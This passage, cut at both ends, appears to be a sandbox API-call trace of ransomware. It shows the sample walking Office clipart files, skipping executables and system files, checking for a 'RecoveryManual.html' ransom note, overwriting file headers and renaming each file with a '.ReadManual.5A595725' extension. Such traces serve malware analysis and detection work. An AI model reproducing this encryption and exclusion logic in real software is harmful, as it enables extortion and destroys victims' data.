Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20 [0262.552] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.553] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2052) returned 1 [0262.553] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x804, lpName=0x0) returned 0x184 [0262.553] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.553] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.553] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.555] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.555] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x804) returned 0x2f0000 [0262.555] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.555] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38322417604) returned 1 [0262.555] CloseHandle (hObject=0x184) returned 1 [0262.556] SetSecurityInfo () returned 0x57 [0262.556] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.556] CloseHandle (hObject=0x194) returned 1 [0262.556] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0262.556] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01172_.WMF" | out: lpString1="DD01172_.WMF") returned="DD01172_.WMF" [0262.557] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.557] StrStrIW (lpFirst="DD01172_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.557] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.557] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.557] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" [0262.557] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.ReadManual.5A595725" [0262.557] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.ReadManual.5A595725") returned 87 [0262.557] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38322589831) returned 1 [0262.557] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0262.557] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.558] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2232) returned 1 [0262.558] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b8, lpName=0x0) returned 0x184 [0262.558] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.558] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.558] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.560] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.560] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b8) returned 0x2f0000 [0262.560] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.560] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38322895816) returned 1 [0262.560] CloseHandle (hObject=0x184) returned 1 [0262.560] SetSecurityInfo () returned 0x57 [0262.560] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.560] CloseHandle (hObject=0x194) returned 1 [0262.561] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0262.561] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01173_.WMF" | out: lpString1="DD01173_.WMF") returned="DD01173_.WMF" [0262.561] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.561] StrStrIW (lpFirst="DD01173_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.561] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.561] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.561] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.561] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.561] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.561] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.562] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.562] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.562] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.562] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.562] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.562] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.562] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.562] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.562] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" [0262.562] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.ReadManual.5A595725" [0262.562] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.ReadManual.5A595725") returned 87 [0262.562] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38323062114) returned 1 [0262.562] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20 [0262.563] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.563] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1804) returned 1 [0262.563] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x70c, lpName=0x0) returned 0x184 [0262.563] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.564] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.564] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.565] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.565] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x70c) returned 0x2f0000 [0262.566] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.566] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38323437650) returned 1 [0262.566] CloseHandle (hObject=0x184) returned 1 [0262.566] SetSecurityInfo () returned 0x57 [0262.566] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.566] CloseHandle (hObject=0x194) returned 1 [0262.567] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0262.567] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01176_.WMF" | out: lpString1="DD01176_.WMF") returned="DD01176_.WMF" [0262.567] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.567] StrStrIW (lpFirst="DD01176_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.567] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.567] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.567] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" [0262.567] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.ReadManual.5A595725" [0262.567] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.ReadManual.5A595725") returned 87 [0262.567] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38323620354) returned 1 [0262.567] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0262.568] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.568] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1888) returned 1 [0262.568] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x760, lpName=0x0) returned 0x184 [0262.568] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.569] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.569] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.570] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.571] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x760) returned 0x2f0000 [0262.571] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.571] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38323955643) returned 1 [0262.571] CloseHandle (hObject=0x184) returned 1 [0262.571] SetSecurityInfo () returned 0x57 [0262.571] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.571] CloseHandle (hObject=0x194) returned 1 [0262.572] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0262.572] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01178_.WMF" | out: lpString1="DD01178_.WMF") returned="DD01178_.WMF" [0262.572] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.572] StrStrIW (lpFirst="DD01178_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.572] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.572] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.572] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" [0262.572] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.ReadManual.5A595725" [0262.573] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.ReadManual.5A595725") returned 87 [0262.573] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38324135031) returned 1 [0262.573] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0262.573] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.573] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3796) returned 1 [0262.573] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed4, lpName=0x0) returned 0x184 [0262.573] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.574] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.574] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.575] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.575] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xed4) returned 0x2f0000 [0262.576] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.576] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38324445717) returned 1 [0262.576] CloseHandle (hObject=0x184) returned 1 [0262.576] SetSecurityInfo () returned 0x57 [0262.576] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.576] CloseHandle (hObject=0x194) returned 1 [0262.577] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0262.577] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01179_.WMF" | out: lpString1="DD01179_.WMF") returned="DD01179_.WMF" [0262.577] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.577] StrStrIW (lpFirst="DD01179_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.577] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.577] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.577] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" [0262.577] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.ReadManual.5A595725" [0262.577] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.ReadManual.5A595725") returned 87 [0262.577] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38324824371) returned 1 [0262.580] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0262.580] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.580] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2024) returned 1 [0262.580] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e8, lpName=0x0) returned 0x184 [0262.580] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.581] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.581] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.582] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 